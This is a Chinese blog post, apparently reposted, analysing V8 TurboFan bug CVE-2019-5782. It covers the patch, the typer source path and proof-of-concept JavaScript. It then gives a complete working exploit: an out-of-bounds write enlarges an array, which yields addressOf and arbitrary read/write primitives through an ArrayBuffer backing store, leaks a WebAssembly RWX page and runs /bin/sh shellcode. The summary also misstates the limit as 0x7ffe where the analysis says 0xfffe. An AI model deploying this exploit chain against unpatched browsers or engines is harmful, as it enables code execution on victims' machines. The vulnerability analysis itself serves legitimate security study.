CVE-2019-5782:kArgumentsLengthType 设置偏小导致优化阶段可以错误的去除 CheckBound 节点

文章目录

  • 环境搭建
  • 漏洞分析
    • 笔者初分析
    • 笔者再分析
    • 漏洞触发源码分析
  • 漏洞利用
  • 总结

环境搭建

sudo apt install pythongit reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下:

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@Type::Union(Type::SignedSmall(), Type::NaN(), zone());// The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();// The JSArrayIterator::kind property always contains an integer in the// range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@break;case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());
-      CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
-                                             Code::kMaxArguments, zone));
+      CheckValueInputIs(node, 1, Type::Unsigned30());CheckTypeIs(node, Type::OtherInternal());break;case IrOpcode::kNewConsString:
diff --git a/test/mjsunit/regress/regress-crbug-906043.js b/test/mjsunit/regress/regress-crbug-906043.js
new file mode 100644
index 0000000..dbc283f
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-906043.js

先来看下 type-cache.h 中对 kArgumentsLengthType 的设置:

  static const int kArgumentsBits = 16;// Reserve one argument count value as the "don't adapt arguments" sentinel.static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType =Type::Range(0.0, Code::kMaxArguments, zone());

第二处补丁是打在了 void Verifier::Visitor::Check(Node* node, const AllNodes& all) 函数中:

void Verifier::Visitor::Check(Node* node, const AllNodes& all) {......switch (node->opcode()) {......case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,Code::kMaxArguments, zone));CheckTypeIs(node, Type::OtherInternal());break;......

笔者初分析

这里笔者本打算跟踪 Verifier::Visitor::Check 寻找调用链,但是并没有发现引用该函数的逻辑,直接在 gdb 中下断点也断不下来,所以笔者决定跟踪 kArgumentsLengthType 变量,最终发现如下地方进行了引用:
在这里插入图片描述
可以发现在 TyperPhase 阶段会调用该值:

Type Typer::Visitor::TypeArgumentsLength(Node* node) {return TypeCache::Get().kArgumentsLengthType;
}class Typer::Visitor : public Reducer {
......Reduction Reduce(Node* node) override {case IrOpcode::kArgumentsLength:  \return UpdateType(node, TypeArgumentsLength(node));......

所以这里会更新 ArgumentsLength 节点的类型。但是这里跟漏洞有啥关系呢?而且笔者自己写的 demo 也没观察到有 ArgumentsLength 这个节点。

笔者因此陷入僵局,因为目前网上还没有文章对该漏洞的原理进行分析。无奈,最后笔者只有对着作者给的 POC 进行分析。

笔者再分析

这里我们来分析下作者给的 POC

function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;a2 = new Array(0x10);a2[0] = 1.1;a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
}var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);var a4 = [1.1];for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log("a2.length =", a2.length.toString(16));// 输出:
// a2.length = 2a

可以看到这里成功将 a2.length 修改为了 0x2a,结合 POC 可知这里 a1 发生了数组越界。可以看到 POC 比较关键的点就是,这里的索引为 (x >> 16) * ?,而 x = arguments.length

接下来我们简化 POC,抓住主要执行逻辑:

function fun(arg) {let x = arguments.length;let y = (x >> 16) * 21;return y;
}var a3 = [1.1, 2.2];
a3.length = 0x11000;var a4 = [1.1];for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);res = fun(...a3);

看下 load elimination 阶段:
在这里插入图片描述
可以看到这里的 ArgumentsLength 节点的范围为 Range(0, 65534),而 65534 = 0xfffe,这个数字是不是很熟悉:

不就是第一处 patch 点吗?没有 patch 之前,kMaxArguments 就是 0xfffe

  static const int kArgumentsBits = 16;// Reserve one argument count value as the "don't adapt arguments" sentinel.static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType =Type::Range(0.0, Code::kMaxArguments, zone());

看到这里你也许就明白了,这里默认 arguments.length 的最大值为 kMaxArguments = 0xfffe,但是观察 POC 可知我们传入的参数使得 arguments.length = 0x11000,其中 0xfffe >> 16 = 0,而 0x11000 >> 16 = 1,哇,漏洞是不是很明显?所以这会导致在 simplified lowering 阶段消除 CheckBound 节点:
在这里插入图片描述
这里大概知道了漏洞触发的原因,但是我们还是要回到源码中分析。

漏洞触发源码分析

这里以如下 POC 跟踪分析源码:

function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;oob_arr = new Array(0x10);oob_arr[0] = 1.1;a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;for(let i = 0; i < 0x10000; i++)
{fun(1);
}
fun(...a3);

typer 阶段:
在这里插入图片描述
这里我们看下 typer 阶段是如何对 SpeculativeNumberShiftRight 进行处理的:

......case IrOpcode::kSpeculativeNumberShiftRight:return UpdateType(node, TypeBinaryOp(node, SpeculativeNumberShiftRight));
......

这里最后会调用到 NumberShiftRight 函数:

这里需要调试,直接引用跟踪是跟不出来的,读者可以自行调试,把断点打在 SpeculativeNumberShiftRight 即可

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs = NumberToInt32(lhs);rhs = NumberToUint32(rhs);if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs = lhs.Min();int32_t max_lhs = lhs.Max();uint32_t min_rhs = rhs.Min();uint32_t max_rhs = rhs.Max();if (max_rhs > 31) {// rhs can be larger than the bitmaskmax_rhs = 31;min_rhs = 0;}double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);if (max == kMaxInt && min == kMinInt) return Type::Signed32();return Type::Range(min, max, zone());
}

由于在 typer 阶段还没有进行 Load 节点的消除,所以 SpeculativeNumberShiftRight 节点的第一个参数是一个 Load 节点,其范围为 [INT_MIN, INT_MAX],所以最后右移后,SpeculativeNumberShiftRight 的范围为 Range(-32768, 32767)IR 图是吻合的

typed lowering 阶段:
在这里插入图片描述
该阶段中会对 JS 函数节点进行处理,其中 create_lowering reducer 就会对 typer 阶段的 JSCreateArguments 进行处理:

Reduction JSCreateLowering::Reduce(Node* node) {DisallowHeapAccess disallow_heap_access;switch (node->opcode()) {case IrOpcode::kJSCreate:return ReduceJSCreate(node);case IrOpcode::kJSCreateArguments:return ReduceJSCreateArguments(node);......

跟进 ReduceJSCreateArguments 函数:

代码有点长,可以扔给 GPT 审计审计,但效果不是很好

Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());CreateArgumentsType type = CreateArgumentsTypeOf(node->op());Node* const frame_state = NodeProperties::GetFrameStateInput(node);Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);Node* const control = graph()->start();FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());SharedFunctionInfoRef shared(broker(),state_info.shared_info().ToHandleChecked());// Use the ArgumentsAccessStub for materializing both mapped and unmapped// arguments object, but only for non-inlined (i.e. outermost) frames.if (outer_state->opcode() != IrOpcode::kFrameState) {switch (type) {case CreateArgumentsType::kMappedArguments: {// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();Node* const callee = NodeProperties::GetValueInput(node, 0);Node* const context = NodeProperties::GetContextInput(node);Node* effect = NodeProperties::GetEffectInput(node);Node* const arguments_frame =graph()->NewNode(simplified()->ArgumentsFrame());Node* const arguments_length = graph()->NewNode(simplified()->ArgumentsLength(shared.internal_formal_parameter_count(), false),arguments_frame);// Allocate the elements backing store.bool has_aliased_arguments = false;Node* const elements = effect = AllocateAliasedArguments(effect, control, context, arguments_frame, arguments_length, shared,&has_aliased_arguments);// Load the arguments object map.Node* const arguments_map = jsgraph()->Constant(has_aliased_arguments? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties = jsgraph()->EmptyFixedArrayConstant();STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}case CreateArgumentsType::kUnmappedArguments: {......}case CreateArgumentsType::kRestParameter: {......}}UNREACHABLE();} else if (outer_state->opcode() == IrOpcode::kFrameState) {......if (type == CreateArgumentsType::kMappedArguments) {Node* const callee = NodeProperties::GetValueInput(node, 0);Node* const context = NodeProperties::GetContextInput(node);Node* effect = NodeProperties::GetEffectInput(node);// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();// Choose the correct frame state and frame state info depending on// whether there conceptually is an arguments adaptor frame in the call// chain.Node* const args_state = GetArgumentsFrameState(frame_state);if (args_state->InputAt(kFrameStateParametersInput)->opcode() ==IrOpcode::kDeadValue) {// This protects against an incompletely propagated DeadValue node.// If the FrameState has a DeadValue input, then this node will be// pruned anyway.return NoChange();}FrameStateInfo args_state_info = FrameStateInfoOf(args_state->op());// Prepare element backing store to be used by arguments object.bool has_aliased_arguments = false;Node* const elements = AllocateAliasedArguments(effect, control, args_state, context, shared, &has_aliased_arguments);effect = elements->op()->EffectOutputCount() > 0 ? elements : effect;// Load the arguments object map.Node* const arguments_map = jsgraph()->Constant(has_aliased_arguments ? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties = jsgraph()->EmptyFixedArrayConstant();int length = args_state_info.parameter_count() - 1;  // Minus receiver.STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), jsgraph()->Constant(length));a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}......}return NoChange();
}

其实也不需要看到,知道这里计算了 ArgumentsLength 的范围即可。其实就是获取的 kMaxArguments = 0xfffe

而因为 argument.length 的偏移是固定的,所以在 load eliminationload_elimination reducer 会去除 Load 节点:
在这里插入图片描述
然后在 load elimination 阶段的 type_narrowing_reducer 会在进行一次 typing,然后会再调用一次上面 typer 阶段执行过的 OperationTyper::NumberShiftRight 函数

其实这里的 IR 图跟我想到不一样,因为我觉得这里 turbofan 应当计算出 idx 就是 Range(0, 0),然后直接优化为 arr[0]。

Reduction TypeNarrowingReducer::Reduce(Node* node) {DisallowHeapAccess no_heap_access;Type new_type = Type::Any();switch (node->opcode()) {case IrOpcode::kNumberLessThan: {......}case IrOpcode::kTypeGuard: {......}#define DECLARE_CASE(Name)                                                \case IrOpcode::k##Name: {                                               \new_type = op_typer_.Name(NodeProperties::GetType(node->InputAt(0)),  \NodeProperties::GetType(node->InputAt(1))); \break;                                                                \}SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)DECLARE_CASE(SameValue)#undef DECLARE_CASE......

这里展开宏可以得到:

case IrOpcode::kNumberShiftRightnew_type = OperationTyper.NumberShiftRight(NodeProperties::GetType(node->InputAt(0)),NodeProperties::GetType(node->InputAt(1)));break

所以最后还是调用到 OperationTyper::NumberShiftRight 函数:

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs = NumberToInt32(lhs); // range(0, 65534)rhs = NumberToUint32(rhs); // range(16, 16)if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs = lhs.Min(); // 0int32_t max_lhs = lhs.Max(); // 65534uint32_t min_rhs = rhs.Min(); // 16uint32_t max_rhs = rhs.Max(); // 16if (max_rhs > 31) {// rhs can be larger than the bitmaskmax_rhs = 31;min_rhs = 0;}double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs); // 0double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs); // 0if (max == kMaxInt && min == kMinInt) return Type::Signed32();return Type::Range(min, max, zone()); // Range(0, 0)

可以看到这里返回的是 Range(0, 0) [看我写的注释],但是最后并没有用该值直接更新节点,而是和原类型进行的合并:

......Type original_type = NodeProperties::GetType(node);Type restricted = Type::Intersect(new_type, original_type, zone());if (!original_type.Is(restricted)) {NodeProperties::SetType(node, restricted);return Changed(node);}return NoChange();

以上就是漏洞源码分析全过程了。

漏洞利用

越界修改了 oob_arrlength 后,其利用就比较简单了。

  • 利用越界读构造 addressOf 原语
  • 利用越界写修改 ArrayBufferbacking_store 字段构造任意地址读写原语
  • 先利用 addressOf 原语泄漏 wasm_instance 地址,然后在利用任意地址读原语泄漏 rwx_addr
  • 利用任意地址写原语向 rwx_addr 上写入 shellcode

exp 如下:

/*
let debug = (obj) => {%DebugPrint(obj);readline();
}
*/var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);let l2d = (val) => {l_buf[0] = val;return d_buf[0];
}let d2l = (val) => {d_buf[0] = val;return l_buf[0];
}function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;oob_arr = new Array(0x10);oob_arr[0] = 1.1;a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;for(let i = 0; i < 0x10000; i++)
{fun(1);
}
fun(...a3);console.log("[+] oob_arr.length: "+ oob_arr.length);var tmp_arr = [0xdeadef, a1];
var buf_arr = [];
const BUF_NUM = 0x30;for (let i = 0; i < BUF_NUM; i++) {buf_arr.push(new ArrayBuffer(0x2024));
}var backing_store_ptr_off = -1;
for (let i = 0; i < oob_arr.length-1; i++) {let val = d2l(oob_arr[i]);if (val == 0x2024n) {oob_arr[i] = l2d(0x2025n);backing_store_ptr_off = i+1;break;}
}if (backing_store_ptr_off == -1) {throw "FAILED to hit ArrayBuffer";
}var victim_idx = -1;
for (let i = 0; i < BUF_NUM; i++) {if (buf_arr[i].byteLength = 0x2025) {victim_idx = i;break;}
}var addressOf_idx = -1;
for (let i = 0; i < oob_arr.length-1; i++) {let val = d2l(oob_arr[i]);if (val == 0x00deadef00000000n) {addressOf_idx = i+1;break;}
}var dv = new DataView(buf_arr[victim_idx]);console.log("backing_store_ptr_off", backing_store_ptr_off);
console.log("victim_idx", victim_idx);
console.log("addressOf_idx", addressOf_idx);function addressOf(obj) {tmp_arr[1] = obj;return d2l(oob_arr[addressOf_idx]);
}function arb_read(addr) {oob_arr[backing_store_ptr_off] =l2d(addr);return d2l(dv.getFloat64(0, true));
}function arb_write(addr, val) {oob_arr[backing_store_ptr_off] =l2d(addr);dv.setFloat64(0, l2d(val), true);
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;console.log("wasm_instance address:", "0x"+addressOf(wasm_instance).toString(16));var rwx_addr = arb_read(addressOf(wasm_instance)-1n+0xe8n);
console.log("rwx_address:", "0x"+rwx_addr.toString(16));var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];for (let i = 0; i < shellcode.length; i++) {arb_write(rwx_addr, shellcode[i]);rwx_addr += 8n;
}pwn();
//%DebugPrint(wasm_instance);
//debug(oob_arr);

效果如下:
在这里插入图片描述

总结

该漏洞其实很简单,就是将 kArgumentsLengthType 的值错误地设置成了 0x7ffe,而笔者测试发现 argument.length 最大可以是 0x1ebef,所以在 turbofan 进行优化时,认为 argument.length 的范围在 [0, 0x7ffe] 之间,然后 >> 16,则范围在 [0, 0] 之间从而导致 CheckBound 节点被优化,但是实际上我们传入的参数个数为 0x11000,所以 >> 16 后值为 1。即优化阶段认为 argument.length >> 16 的值为 0,而实际运行阶段 argument.length >> 16 的值为 1,然后通过一些运算可以放大这个错误从而导致越界读写。

但是笔者感觉 turbofan 中还是有一些优化玄学问题,后续有时间可能得调试一下源码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/744054.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FreeRTOS操作系统学习——软件定时器

软件定时器介绍 软件定时器允许设置一段时间&#xff0c;当设置的时间到达之后就执行指定的功能函数&#xff0c;被定时器调用的这个功能函数叫做定时器的回调函数。回调函数的两次执行间隔叫做定时器的定时周期&#xff0c;简而言之&#xff0c;当定时器的定时周期到了以后就…

C语言--字符串面试题

字符串是由若干字符组成的序列。由于字符串在编程时使用的频率非常高,为了优化,很多语言都对字符串做了特殊的规定。下面分别讨论C/C字符串的特性。 C/C中每个字符串都以字符"0作为结尾,这样我们就能很方便地找到字符串的最后尾部。但由于这个特点&#xff0c;每个字符串中…

Android 15 首个开发者预览版到来

作者 / 工程副总裁 Dave Burke Android 15 的首个开发者预览版现已发布&#xff0c;以便各位开发者能与我们通力协作&#xff0c;打造更优秀的 Android 平台。 在 Android 15 中&#xff0c;我们继续致力于打造一个既能提升工作效率&#xff0c;又能提供全新功能的平台。这些新…

【Java - 框架 - Mybatis】(02) SpringBoot整合Mybatis操作Mysql - 快速上手

“SpringBoot"整合"Mybatis"操作"Mysql” - 快速上手&#xff1b; 环境 Java版本"1.8.0_202"&#xff1b;Spring Boot版本"2.5.9"&#xff1b;Windows 11 专业版_22621.2428&#xff1b;IntelliJ IDEA 2021.1.3(Ultimate Edition)&a…

2.案例、鼠标时间类型、事件对象参数

案例 注册事件 <!-- //disabled默认情况用户不能点击 --><input type"button" value"我已阅读用户协议(5)" disabled><script>// 分析&#xff1a;// 1.修改标签中的文字内容// 2.定时器// 3.修改标签的disabled属性// 4.清除定时器// …

Day15 面向对象进阶——接Day14

Day15 面向对象进阶——接Day14 文章目录 Day15 面向对象进阶——接Day14一、访问修饰符二、Object三、深入String的equals()方法四、final 一、访问修饰符 1、含义&#xff1a;修饰类、方法、属性&#xff0c;定义使用的范围 2、经验&#xff1a; 2.1.属性一般使用private修…

武汉星起航:秉承客户至上服务理念,为创业者打造坚实后盾

在跨境电商的激荡浪潮中&#xff0c;武汉星起航电子商务有限公司一直秉持着以客户为中心的发展理念&#xff0c;为跨境创业者提供了独特的支持和经验积累&#xff0c;公司通过多年的探索和实践&#xff0c;成功塑造了一个以卖家需求为导向的服务平台&#xff0c;为每一位创业者…

window python开发环境搭建- Anaconda

window python开发环境搭建- Anaconda 下载Anacnoda配置Anconda验证Anaconda是否安装成功验证 conda 是否安装成功验证 pip 是否安装成功验证 python 是否安装成功 配置镜像源conda 镜像源pip 镜像源 pip 常用命令conda 常用命令 下载Anacnoda anacoda官网地址 https://www.an…

【vue在主页中点击主页面如何弹出一个指定某个页面的窗口】

【vue在主页中点击主页面跳转到某个页面的操作完整过程】 1.首先在主页面中加入一个卡槽用于展示弹出的窗口 代码如下&#xff1a; <el-dialog :visible.sync"dialogVisible1" :close-on-click-modal"false" :title"title" class"dial…

代码随想录算法训练营第八天|344. 反转字符串

344. 反转字符串 已解答 简单 相关标签 相关企业 提示 编写一个函数&#xff0c;其作用是将输入的字符串反转过来。输入字符串以字符数组 s 的形式给出。 不要给另外的数组分配额外的空间&#xff0c;你必须原地修改输入数组、使用 O(1) 的额外空间解决这一问题。 示例 1&#…

[LeetCode][LCR 194]二叉树的最近公共祖先

题目 LCR 194. 二叉树的最近公共祖先 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 例如&#xff0c;给定如下二叉树: root [3,5,1,6,2,0,8,null,null,7,4] 示例 1: 输入: root [3,5,1,6,2,0,8,null,null,7,4], p 5, q 1 输出: 3 解释: 节点 5 和节点 1 的最…

#微信小程序(轮播图以及开发方法)

1.IDE&#xff1a;微信开发者工具 2.实验&#xff1a;轮播图以及正确的开发方法 &#xff08;1&#xff09;有HTML&#xff0c;CSS&#xff0c;javascript基础即可 &#xff08;2&#xff09;写界面一定要查看开发手册&#xff0c;这是微信小程序比较好的地方&#xff0c;由于…

QT----基于QT的人脸考勤系统(未完成)

目录 1 编译opencv库1.1 下载源代码1.2 qt编译opencv1.3 执行Cmake一直卡着data: Download: face_landmark_model.dat 2 编译SeetaFace2代码2.1 遇到报错By not providing "FindOpenCV.cmake" in CMAKE_MODULE_PATH this project has2.2遇到报错Model missing 3 测试…

机试:成绩排名

问题描述: 代码示例: #include <bits/stdc.h> using namespace std;int main(){cout << "样例输入" << endl; int n;int m;cin >> n;int nums[n];for(int i 0; i < n; i){cin >> nums[i];}// 排序for(int i 0; i < n; i){//…

IP地址无所遁形!试试这个3k星热门开源查询神器!

在日常开发中&#xff0c;我们经常需要查询IP地址的位置信息&#xff0c;比如&#xff1a; 网站统计&#xff1a;统计用户的来源地&#xff0c;了解访问者分布情况&#xff1b;安全防护&#xff1a;根据IP地址判断用户是否来自风险地区&#xff0c;加强安全防护措施&#xff1…

13.7 Map 接口(血干JAVA系列)

这里写目录标题 13.7.1 Map接口简介13.7.2 Map.Entry接口简介13.7.3 Map接口的常用子类1.新的子类&#xff1a;HashMap2.相关操作实例(1)实例操作1——向集合中增加和取出内容【例13.26】增加和取得内容 (2)实例操作2------------ 判断指定的key或value是否存在【例13.27】判断…

VMware16如何克隆虚拟机

目录 克隆虚拟机方式一(在Windows上复制粘贴)克隆虚拟机方式二(使用VM的克隆操作 克隆之前需要关机)修改克隆机的IP和主机名虚拟机快照虚拟机的迁移和删除 克隆虚拟机方式一(在Windows上复制粘贴) 直接拷贝一份你已经安装好的虚拟机 复制到目的主机上 然后用VM就能打开它 甚至…

全视智慧机构养老解决方案,以科技守护长者安全

2024年2月28日凌晨1时许&#xff0c;在上海浦东大道的一家养护院四楼杂物间内发生了一起火灾事故。尽管火势不大&#xff0c;过火面积仅为2平方米&#xff0c;但这场小火却造成了1人死亡和3人受伤的悲剧。这一事件再次提醒我们&#xff0c;养老院作为老年人聚集的场所&#xff…

人人站CMS后台登不进去解决方案(已解决)

公司有一个网站使用的是人人站CMS&#xff0c;最近发现后台登录不进去&#xff0c;有以下报错 发生以下错误: file get contents(http://www.rrzcms.com/Public/cms/config/config.ison): failed to open stream: HTTP reguest failed! 请求的URL导致内部服务器错误。 如果您反…

win11文件共享失败的问题

前言 windows 11连接公司内部服务器报错&#xff0c;报错如下&#xff1a; 因为文件共享不安全&#xff0c;所以你不能连接到文件共享。此共享需要过时的SMB1协议&#xff0c;而此协议是不安全的&#xff0c;可能会使你的系统遭受攻击。你的系统需要SMB2或更高版本。有关如何解…